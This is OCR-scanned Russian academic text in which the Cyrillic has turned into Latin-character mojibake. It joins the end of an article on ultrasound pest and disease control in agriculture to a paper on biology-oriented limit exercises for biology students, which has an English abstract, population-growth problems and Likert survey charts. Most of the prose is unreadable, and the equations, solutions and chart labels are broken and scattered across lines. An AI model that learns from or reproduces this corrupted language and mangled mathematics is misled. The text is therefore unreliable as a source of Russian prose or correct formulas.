3a00JIeBaHUI U YBSIAHUSI.

Iawmu (Erwinia spp.)

- Bo3zneiictBue:  ynpTpa3ByK — yMEHBLIAET  aKTUBHOCTh  OaKTEpHIiA,
OTBETCTBEHHBIX 32 THUEHHE KOPHEILIOA0B, IUI0JIOB U KITyOHEH;

- Pe3ynpTar: coxpaHeHHE KauyecTBa MPOAYKLMH U YMEHBUICHHE MOTEPh
TIPY XPAHCHHH.

BupycHbie nndpexumn

3.

Bupyc tabaunoii mo3auku (TMV)

—  BospeiicTBue: ynpTpa3Byk HapyllaeT CTPYKTYpY OIKOBOW 00OJIOYKH
BHpYCa, CHIXKasi ero HHQHUIMPYIOIIYIO CIIOCOOHOCTB;

—  Pesynprar: 3amura TOMaroB, mepla M JPYrHX KYJIbTYp OT BUPYCHBIX
NOPa’KeHUIA, KOTOPBIE CHU)KAIOT HX YPOJKAHOCTb.

[IpenmyiecTBa yJIbTpa3ByKOBBIX TEXHOJIOT M1

1.

2.

AN

7.

Dkonoruveckasi 0€30MacHOCTh: HCKIIOUYEHHE XUMHUECKUX DJIEMEHTOB
CHIDKAET BJIMSHUE HA TIPUPOTY.

N3buparenpHoe BO3ACHCTBHE: TOUHAS YacTOTHAs HACTPOMKa MO3BOJSET HE
3aTparuBaTh MOJIE3HBIX HACEKOMBIX, TAKUX KaK ITYEITHI.

PaznooOpasue npumeneHus: noka3zaHHas 3(Q(HeKTHBHOCTh IPOTUB MHOKECTBA
BPEHBIX OPraHU3MOB U OOJIE3HEH.

[Tpobnembl 1 HEOCTATKH

ApnanTanusi BpeIUTeseil: MOCTOSIHHOE UCITOJIb30BAaHUE OAHOW YaCTOThI MOXKET
YMEHbILIATh IEHCTBEHHOCTb.

OrpaHu4yeHHOE TMOKpBITHE: JJisi  OOJBIIMX TEPPUTOPUN  HEOOXOIUMO
YCTaHABJIMBATh HECKOJIBKO alapaToB.

TexHuveckre TPYAHOCTH: HACTpOMKa TpeOYeT BBICOKMX TEXHOJOTHUH W
KBaJTH(PHUIIUPOBAHHOMN MOACPIKKH. [2]

PasButre ynbpTpa3ByKOBBIX TEXHOJIOTUHO B OOpbOE C BpeauTeIsIMH W OOJE3HAMU
OTKpPBIBAET 3HAYMTEJIbHBIC TEPCHEKTUBBI A pocta S(PGPEKTUBHOCTH M YCTOWYHMBOCTH B
CeTIbCKOM ~ XO3SMCTBE. bynyiiee dTOW TEXHOJOTMH TPEAINojaraeT HCIOJIb30BAaHUE B
MHHOBAIITMOHHBIX O6H3.CT5IXZ

1.

I/IHTel"paLII/IH C TOYHBIM 3EMJICACIINEM
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CoBpeMeHHbIE CHCTEMbI YIPaBJICHHUsI arpoIpolieccaMd TECHO CBSA3aHbI C JaTYMKAMU,
0e30MJIeTHUKAaMH M aHAIM30M  HMHGOpPMAlMM Il ONTUMAJIbHOTO  MPOM3BOJCTBA.
VY I1bTpa3ByKOBBIE allapaThl MOTYT OBITh BCTPOEHBI B TAKHE CUCTEMBI JIJISI:

- aBTOMATU3allUM BBISBJICHUS CKOIUICHUM BpEAWUTENEd M TOYEUHOMN
00paboTKy;
- MOCTOSSHHOTO ~ KOHTPOJISI ~ COCTOSIHUSL ~ TOCEBOB Uil OBICTPOro
pearupoBaHusl Ha MaTOr€HBI,
— YMHOI'O BKJTFOUEHHUSI YJIBTPa3ByKa B 3aBUCUMOCTH OT OITACHOCTH.
2. CoueTanue ¢ OMOIOrHYECKON 3aIUTON

VYIbTpa3ByK MOXET MJOMOJHATH OHO-METONbI, HAmpuUMep, IyTeM HCIOIb30BAHUS

XHIIHBIX HACEKOMBIX H MOJIE3HBIX MUKPOOPTaHU3MOB. [IprmMepsi:
- ociablieHue YIbTPa3BYKOM BpeIuTeNIed JJisl  YNpOIIEHHS paOoThI
XUITHHUKOB;
- MOYBEHHAs! 00paboTKa yJIbTPa3BYKOM Il YHUUTOXKEHUSI TATOr€HOB NpU
COXPaHEHUH TMOJIE3HON MUKPODIOpPHL. [5]
3.  IIpumeHeHue B 3aMKHYTBIX CHCTEMaxX

B MHTEHCHBHBIX arpoOTEXHOJIOTHSAX TAKHWX, KaK BEPTUKAIBHBIC (DepMBI U THIPOIIOHHKA,

yABTPa3BYK IMpeJiaraeT YHUKAIbHbIC PEIICHUS:
- o0e33apaKMBaHUE BOJbI M PACTBOPOB, IPU KOTOPOM YCTPAHSIOTCS
MUKPOOPTaHU3MBI 0€3 KaKOH-TN00 XUMHUH;
- 3alMTa pacTeHU 0T MH(PEKINU B 3aMKHYTBIX IIPOCTPAHCTBAX.
4. Munnatiopuzanus 1 3pGeKTHBHOCTH SHEPTONOTPEOICHUS

C pa3BuUTHEM HAHOTEXHOJOTMH U SHEprocOeperarommx MaTrepuaioB CO3JaHHe
YIABTPa3BYKOBBIX MPHOOPOB ¢ HU3KUMH SHEPro3aTpaTaMH, YTO OTKPHIBAET BO3SMOXKHOCTH JUIS
HEOOIBIINX XO3AUCTB.

5. YcuneHue alanTUBHOCTU
CoBpeMeHHbIE TEXHOIOTUU YIIPABJICHUS YaCTOTaMH MO3BOJISAT:
- HACTpauBaTh YJIBTPA3BYK M0J] KOHKPETHBIX BPEAUTEIICH U TTaTOTCHEI;
- NpeAOoTBpaIlaTh AJaNTAlMI0 OPraHU3MOB, COXpaHss JJIUTEIbHYIO
3 PEKTUBHOCTb.

3HaYMMOCTh YJIbTPa3ByKa JIJIsl SKOJIOTHUECKON CTaOUILHOCTH

VabpTpa3ByK UrpaeT BaKHYIO POJb B MPOJABHKEHUHM YCTONUMBBIX MPAKTUK B CEIHCKOM
xo3sictBe. Ero wucnonp3oBaHME MOMOTaeT YMEHBIIUTh 3aBUCHUMOCTh OT XHUMHYECKHX
MIECTUITUIOB U (PYHTHIIMIOB, YTO BIICUET 32 COOOM:

- COXpaHEHHE SKOCHUCTEM, BKIIOYAs 3aIUTy TMOJE3HBIX HACEKOMBIX U
MOYBEHHBIX MUKPOOPTaHU3MOB;

— MPEIOTBPAIICHUE HAKOIUJICHUS BPEIHBIX XMMUYECKHUX BEILECTB B 3eMJIE
U BOJOEMAX;

— MHUHUMH3AIMIO PHCKOB JUIS 3/I0pOBbS  Kak (epMepoB, TaK U
noTpeOuTeNeH.

VYIbTpa3ByKOBbIE TEXHOJIOTHM HAaXOIAT IpHUMEHEHHEe B 00paboTKe CceMsH Iepen
MOCAIKOM, TIOBBINIAs WX COMPOTUBIIEMOCTh OOJNE3HAM W Yiydinas BCXokecThb. Erie oaHa
MEPCHEKTUBHAS 00JIACTh UCIIOJIb30BaHUS — 3TO XPaHEHUE MPOAYKIUH, TJ€ YIBTPa3ByK IOMOTraeT
OOpPOTHCS C TUIECEHBIO U THIIIBIO 0€3 IPUMEHEHUS XUMHUU. [2, 4]

[IpumeHeHue yabTpa3BYKOBBIX PELICHUN B CEIBCKOM XO3SIMCTBE OTKPBIBACT LIUPOKHUE
BO3MOXXHOCTH JJISi BHEIPEHUS OSKOJIOTUYECKA YUCTBHIX U YCTOHYMBBIX METOJIOB OOpBHOBI C
napasutTaMu U Oone3HsiMH. BapuaHTbl HMCHONB30BAHUS TEXHOJOTMU BKIIOYAIOT 3allUTY
CEJIbCKOXO3AMCTBEHHBIX ~ KYJbTYP, CHIJKEHHE  HCIIOJNIb30BaHUS  XHMHUH, COXpPaHEHHE
O61opazHo00pa3us U MOBBIIICHUE KauyecTBA MPOAYKIMHU. XOTS CYIIECTBYIOT BBI30BbBI, TAKUE KaK
YCTOMYMBOCTH BpeAUTENIed M TMOTPEOHOCTh B CIIOXKHBIX TEXHOJOTHUSIX, YJIBTPa3BYK YXKe
MOKa3bIBAET BHICOKYIO A(PPEKTUBHOCTH IPOCTUB MHOKECTBA yIPO3.
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JlanpHele TeXHNIeCcKre pa3padOTKH, BKIIIOYAs HHTETPALIUIO C TOYHBIM 3eMJICICINEM
u OHOKOHTpOJIEM, a TAaKKe TOBBIIIEHHUE 3HEProdPPEeKTUBHOCTH, TIO3BOJIAT PACIIUPUTD
NPUMEHEHHE YIIBTPa3ByKa. B yclIOBHAX TIMIOOAIBHBIX SKOJOTHYECKUX BBI30OBOB JaHHAS
TEXHOJIOTHS CTAHOBHUTCS KIIIOYEBBIM 3JIEMEHTOM YCTOMYMBOIO CEJIbCKOIO  XO35HCTBA,
CIIOCOOCTBYSL ~ TIOBBIIICHHIO  NPOXYKTHBHOCTH W OOECIIEUCHHIO  MPOJOBOJILCTBEHHOMH
6€30MacHOCTH P MUHUMAJILHOM BO3/I€HCTBUH HAa IPUPOTY.
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PA3JIEJI XXIX. MATEMATHUKA

Kupnuex I'.A.
Buosnornyecku - OpueHTHPOBAHHBIE 32/1a4H 110 MaTeMaTHKe KaK CPe/ICTBO NOHUMAHHUS
CTyJeHTaMM OHO0JIOTaMH M0JI€3HOCTH MATEMATHKHU

Kamuamckuii I'ocyoapcmeennolil ynusepcumem umenu Bumyca bepunea
(Poccus, ITemponasnosck-Kamuamckuir)

doi: 10.18411/trnio-01-2025-264

AHHOTAIINA

B 53TroM wuccienoBaHMM —paccMaTpUBalOTCsA, Kak  pEIIeHHUs  OMOJIOTHYECKH -
OPHUEHTHPOBAHHBIX MAaTEMAaTHUYECKUX 33/1a4 10 TeMe «Teopust peeioBy, KOTOpble 00BEeTUHIIN
MaTeMaTUKy M OMOJIOTMIO NOBIMSIM HA IOJIE3HOCTb, MHTEPEC M OOIlee OTHOLICHHE K
MaTEeMaTHKE y CTYJEHTOB OMOJIOTOB.

Hcnons3ys orpockl, Mbl 0OHAPYKUIIM, YTO MHTEPEC CTYIEHTOB K MaTeMaTHKe BO3POC, U
OHH IPOJIEMOHCTPUPOBAIIM OoJiee IiTy0oKoe OHMMaHKe TOro, Kak MaTeMaTHKa UCIOJIb3yeTcs B
Oouonoruu. /g aHanu3a pe3ysbTaToOB HCMOJb30Bajach Iukana P. Jlalikepra (HOpsaKoBbIH
YPOBEHb U3MEPEHHUS C TPEMSI TOUKAMU).

CryneHTsl, 4b€ OTHOIIEHHME K MAaTEMaTHKE YIyYIIWIOCh B IEPBYIO O4YEpedb OHHU
OOBSICHSUIM 3T W3MEHEHHUS Jy4IIUM [OHMMAaHHEM II0JIE3HOCTH MAaTeMaTHKH JJisi OMOJIOruy,
YyBCTBOM KOMIIETEHTHOCTH B MaTreMatuke. TakuMm oOpa3oM, HHPOPMHUPOBAHHE O IMOJIE3HOCTH
MaTeMaTUKH I OMOJIOTMH C TOMOIIBI0 WHTETPUPOBAHHBIX KYpCOB (Y4eOHBIX 3ajad)
MaTeMaTHUKH U OHOJIOTHH MOXKET CIIOCOOCTBOBATH YIYUIIEHUIO OTHOIICHUS K MaTeMaTHKE, YTO
MO>KET MOBJIHUTH HA MOTUBAIIMIO U YCIIEBAEMOCTh CTYICHTOB.

KnioueBble ci10Ba: MaTeMaTuka, OMOJIOrus, 3a1a4H, MOJIE€3HOCTh, HHTEPEC, IIKaa.

Abstract

This study examines how solutions to biologically oriented mathematical problems on
the topic of "Theory of Limits", which combined mathematics and biology, influenced the
usefulness, interest and general attitude to mathematics among biology students. Using surveys,
we found that students' interest in mathematics increased, and they demonstrated a deeper
understanding of how mathematics is used in biology. The Likert scale (ordinal measurement
level with three points) was used to analyze the results. Students whose attitude to mathematics
improved first of all, they attributed these changes to a better understanding of the usefulness of
mathematics for biology, a sense of competence in mathematics. Thus, informing about the
usefulness of mathematics for biology through integrated courses (learning tasks) of mathematics
and biology can help improve attitudes towards mathematics, which can affect students'
motivation and academic performance.

Keywords: mathematics, biology, tasks, usefulness, interest, scale.

Bsenenne

CrnenyromniemMy MOKOJICHUIO CIEIMAMCTOB B 00JIACTH €CTECTBEHHBIX HayK MOTpeOyeTcs
ropaso OOJbIlIe HABHIKOB B KOJIMYECTBCHHOW OIICHKE, YeM NPEABIIYIIAM ITOKOJCHHUSIM.
[TockonbKy OMOJIOTHYECKHE CUCTEMBI TUHAMUYHBI, MATEMATHYCCKHA aHAJIN3 UTPAET KITFOUCBYIO
pOIb B MOJCIHMPOBAHWH OHOJIOTUYECKUX CHUCTeM. HampuMep, MaTeMaTHUYECKUI aHaln3
WCIIONB3YETCS B MOJCIIAX POCTa HACENCHMS Uil y4E€Ta CIOKHOW JemMorpaduu, B MOAETAX
BOCIIPHUMYHMBOCTH K WH()EKIMOHHBIM 3a00JIEBaHUSM JJIsi TIOHWMAHHS PAaCIPOCTPAHCHUS
3a00JIeBaHUI, a TaKKe B MOJIEISIX POCTa OMyXOJeH M MeTactazupoBaHus. OIHAKO MHOTHE
CTYJICHTBI, M3YYAIOIIUC C€CTCCTBEHHBbIC HAYKW, HE MMOHWMAIOT TOJEC3HOCTH MATEMATHUKHU JIJIS
OHOJIOTHH.
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Llens wuccienoBanus. B naHHOM HcCieOBaHMM paccMaTpUBAKOTCS H3MEHEHHsS B
IIOJIE3HOCTH, MHTEPEeCe M OTHOLIEHMM CTYAEHTOB K MAaTEMAaTUKE II0CJIE BHEIPEHUS
OMOJIOTMYECKH - OPUEHTHPOBAHHBIX MaTEMaTHYECKUX 3ajad Mo Teme «Teopust mpenenoBy.
Ione3HocTh mpeAcTaBisieT co00M BOCIIPUSATHE CTYICHTAaMU BaKHOCTH WITH TTOJIE3HOCTH 3a/1aHUs
IUIS1 JOCTUKEHUA UX OyIyInX Lesen.

HccnenoBarensckue  Bompochl. [ pyKOBOJACTBa — HCCIEIOBaHMEM  ObUIH
c(OpMyITMPOBaHBbI CIIEAYIOLIIE BOIPOCHL.

1) B xakoil CTENeHHM BOCIPUATHE CTYICHTAMH MAaTEMAaTUKH 3aBUCUT OT
U3MEHUTCS JIM TOJIE3HOCTh MATEMATHKH /ISl UX CHELUATIbHOCTH U Kapbephbl
HIOCJIe peIeHUs] OMOJIOTUYECKH - OPUEHTHPOBAHHBIX MAaTEMAaTHUECKUX 3a1ad
o TeMe «Teopust peneaon»?

2)  Hackoibko M3MEHHMTCS MHTEPEC CTYACHTOB K MAaTEMATHKE IOCIC PELICHHs
OMOJIOrMYECKH - OPUEHTUPOBAHHBIX MAaTEMATUUECKUX 3a/1ay 110 Teme «Teopust
MIPEICIIOBY?

3) B kakoil CTemeHM TOCIE TPOXOXKACHUS PELICHUS OWONOTUYECKH -
OPHEHTHPOBAHHBIX MaTeMaTWYeCKUX 3aj1au 1o teme «Teopust mpenenoB» y
CTyIeHTOB opMupyroTcsi Oojee TIyOOKMe TMpPEACTaBICHUS O TOJIb3e
MaTeMaTUKHU JJ1s1 OMOJIOTUH.

B navane Hamero uccienoBaHMS CTyJACHTaM OBUIM TPEUIOKEHbI OMOIOTMYECKU -
OpPHEHTHPOBAHHBIE MaTeMaTUYECKHE 3a/1a4u 10 TeMe «Teopust mpeaeaoBy.

3amaua 1 (Jloructuueckass monens ["aysa). B 1930-x romax 6uonor I'. ®. I"ay3 nposén
SKCIEPUMEHT ¢ mpocredmmmu Paramecium. OH cMoaenMpoBal CBOM JaHHBIE C IOMOIIbIO

64
P (t) = 079441
Y : 1+31.e 7™ i t
JIOTUCTUYECKON (DYHKIUU: , Ul IOMYJISILIUK MIPOCTEUILINX yepes
nHed. Haiinure HadalibHYI0 MOMYJISIIUIO M NPEAETbHYIO MOMYJIALIHIO.

64
PO)=Trae ™
Pemenne. Wcxomnas mnomymsamus Obuia: +31-e . IpenenpHas
MOMYJISIMSL ObLIa OrpaHUYEHHOM:
) ) 64 64 64
lim P(t)=|lm 07944t 07944t =64
t—o0 too 14 31.7" 1+31-lime™™ 1+31-0
t—>x

lime™ =0

3/1ech Mbl WCIONB30BAIM MPENIETbHBIE 3aKOHBI, a TaKXke X% . I'. ®@. T'ay3

(1910-1986) - poccuiickuii 6Gronor. OH MPeUTOKHIIT TPUHIUIT KOHKYPEHTHOTO UCKITFOUYCHHS: 1B
BHUJ1a, KOHKYPHUPYIOIIHE 32 OJTHH U T€ K€ PECYPCHI, HE MOTYT COCYIIIECTBOBATH, €CIIH Y OJTHOTO U3
HHX €CTb XOTs ObI HEOOJIBIIIOE TIPEUMYIIIECTBO MEPE APYTUM.

3anaua 2 (Poct Hacenenust). Oxungaercsi, YTo HaceleHUe ropoja OyIeT U3MEHSATHCS B

. t2+2 f (t)
COOTBCTCTBHMM C MOJICIIBIO, OIIMCaHHAas q)yHKHI/IeI/I: , IAC

BBIP2YKAET KOJIMUYECTBO JKUTEJIEH ropona (B ThICAYax), B MOMEHT BPEMEHHU T (n3mepsiercst B
rogax). YCTaHOBHTE KOJMYECTBO HACEICHUS B MOMCHT HA4aJdbHOTO HAOIIOACHUS

(cooTBeTCTBYIOIIEE t=0 ) 1 4TO OYJIET C HACEJIEHUEM YEPE3 MHOTO JIET.
Pemenne. YcTraHOBHTE KOJIMYECTBO HACEICHHS B MOMEHT HAa4aJbHOTO HAOJIOJCHUS

(cooTBeTcTBYyIOIIIEE t= O) U 4TOo OyZeT ¢ HaceleHueM 4epe3 MHOro jeT. UToObl onpenenuTsb
KOJIMYECTBO JKUTEJIEH TOpo/Ja B HAYaJbHBIM MOMEHT HAONIO/IEHUsSI, HEOOXOAUMO PACCUUTATh

£(0)=2 =15

f(t —
3Ha4YeHue PyHKIUH ( ) npu t=0 . [lockonbky 2 (B TBICSYAX), YTO B
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. . 15000
HepBLII/I MOMCHT KUTCIICHU rOpO,Z[a 6]31.]10 . I’IT06IJI YCTaHOBI/ITB pOCT HACCJICHUA ‘lepe3
f (t) —>+o

MHOTO  JIeT, = HEOOXOAMMO  BBIUMCIUTH  mpeaen  (YHKIHU

2
lim 1Ot2 +30 _10
too {742

MsI npuLIIM K BBIBOJY, YTO B JIOJITOCPOYHOM IEPCIEKTUBE HACEICHHE IOpO/a UMEET

10000

TEHJICHIIMIO K CTaOMIM3AINH, IPHOIMKASICH K MPEICTEHOMY 3HAYCHUIO JKUTEIEH.
3amaua 3 (OBomouMs MOMYJSIIMK). DBOJIOLKUS MOMYJALMN HACEIEHHUS U BbIpaXKaeTcs

P(t)=k- t 2+h-t+100
50+t 2t+10 t

byHKIMEH: , e

-BpeMsl (M3MepseTCsl B Tofax), a

P(t) .
HpeI[CTaBH}ICT CO6OI/I KOJIMYCCTBO 3JJICMCHTOB HACCICHUA, B TO Bper[ KakK h U k

SIBJIIIOTCS. KOHCTAaHTaMH. 3Hasl, YTO B HAYAJIbHBIA MOMCHT ( ) HaceleHue coctanisio 3500
YeJIOBeK, M 4epe3 HEKOTOpPOe BpEeMsl, HACEJICHHE CTPEMHTCS K IpelebHoMy 3HaueHuto 7000

h k h=350; k=40
YeJI0BeK, onpeenuTe 3HadeHus ' u N[ ].
3amaua 4. DBoMoUMs TOMYJSIAHM OMPEICIICHHOTO BHIA BBIpaKaeTcs (DyHKIHMCH:

2
F)(,[)zh-t +5t+k

40 + t? , T1Ie t -BpeMsi (U3MepsieTcs B Tofax), a P (t) NpeCTaBISIET COOOU

YUCIIO CAWHUI TIOIMYJINHUH, B TO BPEMS KakK n k SABIIIIOTCA KOHCTaHTaMU. 3H8.$I, 4YTO B

N t=0)
Ha4yaJIbHbIX MOMCHT ( IOITYJIAOus COCTaBJIAIIA 50 CAVMHUL, U B PE3YJIbTATC rudenu

HEKOTOPBIX CAVMHULL MOITYJIAINUH, ONIPEACIIUTC 3SHAYCHUA h nu k .

[h=0; k= 2000]
3amaua 5 (Poct pacrenus). Beicota h pacTeHuss JaHHOTO BHAA MOJEIUPYETCS
a
h(x)=
—0,03x
GbyHKUUEH: 1+b-e , TIe aub -7IBE TIOJIO’KUTEIIbHBIE

JCHCTBUTENBHBIC KOHCTAHTBL, a X~ BpeMsl (M3Mepsercsi B rojax). 3Has, 4TO B

HayaJbHbII MOMEHT HaOJIO/IEHUS (X = O) pactrenue usmepsier 40 cM M 4TO €ro BHICOTA, B

ub

; a
KOHCYHOM CUYCTC, CTPCMUTCA K 4 M, OpPCACIIACT KOHCTAHTBI .

y=0;h(0)=40
Pemenne. M3 ycrmoBust 3agaud CleyeT, 4TO CM MOJIy4aeTcs,
a=0,4+0,4-b
MOZICTABIISISL M U3MEPSs B METpax: .
y= —0,03x
1) BBeauTe aHAIMTUYECKOE BbIpakeHUE (DYHKUIUH ( X . IIepEeMEHHas

Bpemenn). [locTpoiite rpaduk GyHKITHH.

2) Bel MOkeTe 3aMETHTD, UTO TpsiMast y= ACUMIITOTA TOPU30HTAIbHAS (TIpaBast) IS

—0,03x
paccMmarpuBaeMoi (yHKIMH, TO €CTh, YTO e —0 g X—> +°°; W3 3TOrO CIEeAyeT,

h(x)—>L

4TO 1+b-0 , korzma X —>+00 ITockonbKy MBI 3HaeM, 4TO IPU CTPEMIICHUH
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h x) _
X' K GeCKOHEUHOH BBICOTE ( , T.¢. K 4, Tor/a 3HaucHue & = 4 [oncTaBuB B ypaBHEHUE

a=4:a=0,4+0,4-b b=9
, TOITY4YrM .
3amava 6 (OBomonums nomyJysiiuu pi0). Tlonmymsius onpeaeneHHOro Buaa pel0 B 03epe
0,5t+8
f (t) =72
t“+2

OyzeT pa3BUBAThCA B COOTBETCTBUU C MOJIEIIBIO, ONMCAHHOW (PyHKIIMEH
rae ( ) BBIPAXKAE€T KOJIMYECTBO €IMHMI], B THICAYAX, a BpEMs t (u3mepsieTcst B rojax).

VYcraHoBUTE KOJIMYECTBO 0COOEH B MOIMYJISILIMY B HaYaIbHBI MOMEHT HAaOIIOAECHUS (t - 0) u
KakoBa Oy/IeT 3BOJIOIHS TOMYJISIIUY Y€pe3 MHOTO JIET.

3amaya 7 (BupyneHTHOCTP W Tiepemavya Bo30ymutens). UwcIo HOBBIX CllydaeB
MH(UIMPOBaHMS YeTIOBEKa, MHPHUIMPOBAHHOTO TaKUM BO30YyIHTENIEM, KaK TPUIII, 3aBUCHUT OT
YPOBHSI CMEpPTHOCTH, BBI3bIBAEMOIO 3TUM BO30yAuTeNeM. OTOT YpPOBEHb CMEpPTHOCTH,
BBI3BAHHBIM MMATOr€HAMH, HA3bIBACTCS BUPYJICHTHOCTHIO BO30YyAMTENs. Upe3BbIUaifHO BBICOKUI
YPOBEHb BHPYJIECHTHOCTM TNIPUBOJUT K OYEHb HU3KOM Iepefade BHUPYCa, IOCKOJIBKY
MHQULIMPOBAHHBIN YEIOBEK YMHUPAET J0 TOTO, KaK 3apa3uT Ipyrux jojei. [Ipu onpeneneHHbIX

JOMYILIEHUAX YHCIO HOBBIX WH(EKLMIA N cessano ¢ BUpyJIeHTHOCTRIO Y  (hyHKIMel

8v
N (V) = 1 2 2 O
+2V+V" | e V - ypoBens cMeprHOCTH (TO ecTh BHpyneHTHOcTH), a V> U,
lim N (v)
OueHure ypoBeHp V2 ¥l UHTEpIIPETUPYIITE CBOU PE3y/IbTAThI.

Lw_LO)_e_k.t

¢byHkuus pocra gon bepramandu, rae K - nonoxurensras KOHCTAaHTa, MOJEIINPYET JIUHY

L(t)=L_—
3agava 8 (Pynkims pocta ¢pon bepranandm). [Tycts ( ) * (

PBIOBI L , KaK (yHKLHIO OT t , BO3pacTa peIOBL. JTa MOJETh MPEAINojaraeT, 4To pelda Mpu

pO)KI[eHI/II/I HNMEECT I'IéTKO OHpe,HeHeHHy}O ,Z[J'II/IHy LO (t = O) .
lim L(t)

a) Beruucnute - . Kak BbI uHTEpHpETHpYETE PE3YABTAT?

L,=2cu L _=40cm y=L(t

6) Ecom ( ) HECKOJIbKO

snavennii K . Kakyto ponb urpaer ko
3amaya 9 (IMomymsiiust mTuir). ManMHOBKAa Pa3MHOXKAIOTCS paHHEH BECHOW, W Taphbl
OTKJIaJbIBAIOT OT TPEX JI0 MATH SUL] C UHTEPBAJIOM B OJMH JieHb. TonbKo 0K0JI0 25% NTEeH1I0B

, U300pasute Ha rpaduke

BBDKHMBAIOT B TCUCHUC IICPBOI'O I'oJia )KU3HU. rpa(bI/IK Ha PUCYHKC 1 moka3pIBaeT t YHUCICHHOCTHU

CTau MAJIMHOBOK 3a 7-IHEBHBIN BECEHHUHN NIEPUOJ, T t. KOJIMYECTBO JTHEH, HAUMHAIOIINXCS B
noiaens 0-ro aHs.

0 1 2 3 4 5 6 7 !
Pucynox 1. Yucnennocmos cmau manunogku 3a 7 OHell.
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a) UTo npou30mio B MOMEHT t=29B vomenr =37 Mexny t=4,1t=59

0) KakoBbl 3HaUCHHS CIIEAYIOMINUX OTPAHUYCHUH (€CTTH OHU CYIIECTBYIOT)?

lim P(t); lim P(t);lim P(t); lim P(t).

t—27 t—>2* t—2 t—6

Pemenne. a) M3 pucynka | BuIHO, 9YTO B MOMEHT t=2 HOMYJISIMS MaJIUHOBOK
YBEJIMUMIACH HA €JUHHILY, [OATOMY HauOoJee BEPOSTHBIM OOBSICHEHHEM SBISCTCS TO, YTO

BBUTYTIWJICS TITeHell. B MoMeHT t=3 BBUTYITHJIACH €111 JTBA IITEHIIA.

Mexny t=4 4 t=5 HONYJSALMST MaJMHOBOK COKpaTwiach Ha 4 0coOH, Tak 4To
YeThIPEe U3 HHUX MOTHOJIN, BO3MOKHO, N3-32 XHIIHUKA.

6) MbI onyyaeM cieyromye 3HaueHus 3 rpaguka Ha pucyHke 1:

lim P(t)=25; lim P(t)=26.

t=27 2" [lockonbky 53TH  mpedensbl Pa3iIuyuHbL, MBI

lim P(t)- &

MPUXOJIUM K BBIBOJY, YTO mpenena (2

lim P(t)=lim P(t)=24=lim P(t) =24,

- He cymectByeT. C apyrod CTOPOHBI,

t—>6~ t—6" t—>6
3amaya 10. [IpombIicen THXOOKEaHCKOTO MaJITyca ObUT CMOJISTTMPOBAH C TIOMOIIBIO
)=t 10’
- 0,71t B(t
YpaBHEHUSA 1+3-e , TIe ( ) - 370 Ouomacca (cymmapHas macca
lim B(t

najaTyca) B KWIOrpaMMax B MOMEHT BPEMEHH U Uro rakoe ? Kakoe 3HaueHue

HMMEET 3TO OTpaHUYCHHE?

3amaya 11 (JlekapcTBeHHas ycroiunBocTh). Ecmu P . TEeKyllass 4acToTa IeHa
YCTOMYMBOCTH B MOJENH pacnpOCTpaHeHI/m neKapCTBeHHoﬁ YCTOMYHMBOCTH, TO 4YacTOTa B

(p)=E20: pen2

CJICAYIOIICM ITOKOJICHUH paBHA . KakoB npeacia 3TOH (I)YHK]_II/II/I

p—>0,5,

UccnenoBanue. J{nst pedekcun IesTeNbHOCTH CTYIAEHTOB, MbI 33Jali CIIEAYIOIINE
BOIIPOCHI ¢ HAOOPOM JETYKTHUBHBIX KOJOB JUIS OINpPEAETCHUs] TOTO, CUMTAIOT JIU CTYICHTHI
MaTeMaTHKy TOJIEe3HOM (Tpu Koja: TOJie3Ha, HE TMOJIe3Ha, HE YBEpPEeH) U U3MEHWJIOCH JIU
OTHOILICHHE CTY/AEHTOB TOCIIE PEUIeHHs OWOJIOTMYECKH - OPUEHTHPOBAHHBIX MAaTEeMaTHYECKUX
3ajau no teme «Teopus mpenenon» (TpH KOJa: OTHOLIEHUE YIYYIINIOCh, OTHOILIEHHE OCTalI0Ch
MPEXHUM, OTHOLIICHUE YXYAIIHMIIOCH). Bompocs! Obutn chopMynupoBaHbI CleTyIONMM 00pa3oM:

1) B kakoif crermeHu MeHsieTcss Baimie BocmpusTHE TONE3HOCTH MATEMAaTHKH JUIS
CIEIMAIBHOCTH M Kapbepbl IOCIE peIleHHs OWOJOTMYECKHM - OPUEHTHUPOBAHHBIX
MaTeMaTHUYeCKHX 3a/1a4 1o TeMe «Teopus npenenoBy»? (1oie3Ha, He MoJie3Ha, He YBEPEH).

2) B kakoil cremeHu MeHseTcsi Bam uHTEpec K MaTeMaTuKe II0C€ pELICHUs
OMOJIOTMYECKH - OPHEHTHUPOBAHHBIX MaTEMAaTHYECKUX 3agad Mo Teme «Teopus mpenenoBy»?
(OTHOIIEHHE YIYUIINIOCH, OTHOIIEHUE OCTANIOCh IPEKHUM, OTHOILIEHUE YXY/IINIOCH).

Jlns ananmza pe3ysbTaToB MCMoib3oBajachk mkana P. Jlaiikepra (Likert) mopsiakoBbIid
ypoBeHb u3Mmepenus. llkana JlalikepTta ¢ Tpemsi TOYKaMU — 3TO MOILUHBIM HHCTPYMEHT OLIEHKH,
WCIIOJIb3YEMBIN /111 U3MEPEHUSI MHTEHCUBHOCTH MHEHUM, OTHOUIEHUH U BOCIIPUATHS B paMKax
JaHHOTO OTIPOCa UM MCCIICI0BATEIBCKOrO KOHTEKCTA (CM. pUCYHKH 2-3).

npu
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Bocnpnﬂrne MMOJE3HOCTH MaTeMaTHKH
IJIA CTYACHTOB - 0H0JI0r0B

H moae3Ha
¥ He moJI€3HA

He YBepeH

1) B kakoii crenenn MeHsieTcA Bamie
BOCHIPHATHE MOJI€3HOCTH MATEMATHKH I8
CHEeHAJBHOCTH H KAPbepPhI HOCIe PelleHHsA
OHOTOTHUECKH - OPHeHTHPOBAHHBIX
MaTeMaTHUYeCKHX 32124 1o TeMe «Teopus
npeaeaoB»?

Pucynox 2. Bocnpuamue nonesnocmu mamemamuxy 018 Cmy0eHmos — 61o10208.

HHTepec K MaTeMaTHRe CTYICHTOB - OHOJI0I0B

¥ oTHOIIEHHE

YIYYOIHI0CH
T70%
60%
u
50% OTHOIII¢HHE
40% 0CTAT0CH NPE:KHAM
30%
20% OTHOIIIEHHE
10%
YXYIUIHI0CH
0%
2) B kakoii cTenneHn MeHsieTcsl Bam mHTepec K
MaTeMaTHKe IMocC/Ie peHIeHHA OHOIOTHYECKH -
OPHEHTHPOBAHHLIX MATEMATHYECKHX 3aJa4 110
Teme «Teopus npeneaor»?
Pucynox 3. Unmepec k mamemamuxe cnyoeHmos — Ouono2os.
Ianpspanne )
[OREEITS R
E MATEMATHEN 1L1H
- ; t
-~ [ER LR EEDR RN Y ) L
o __|I'.I g —
— ot — . Hur
'|-|.1I-.'|I:|Ill'\-l-.|ullll| '.II III{"|1£‘I; K
anane — — MATCMATHRE
| Tl g e sain II
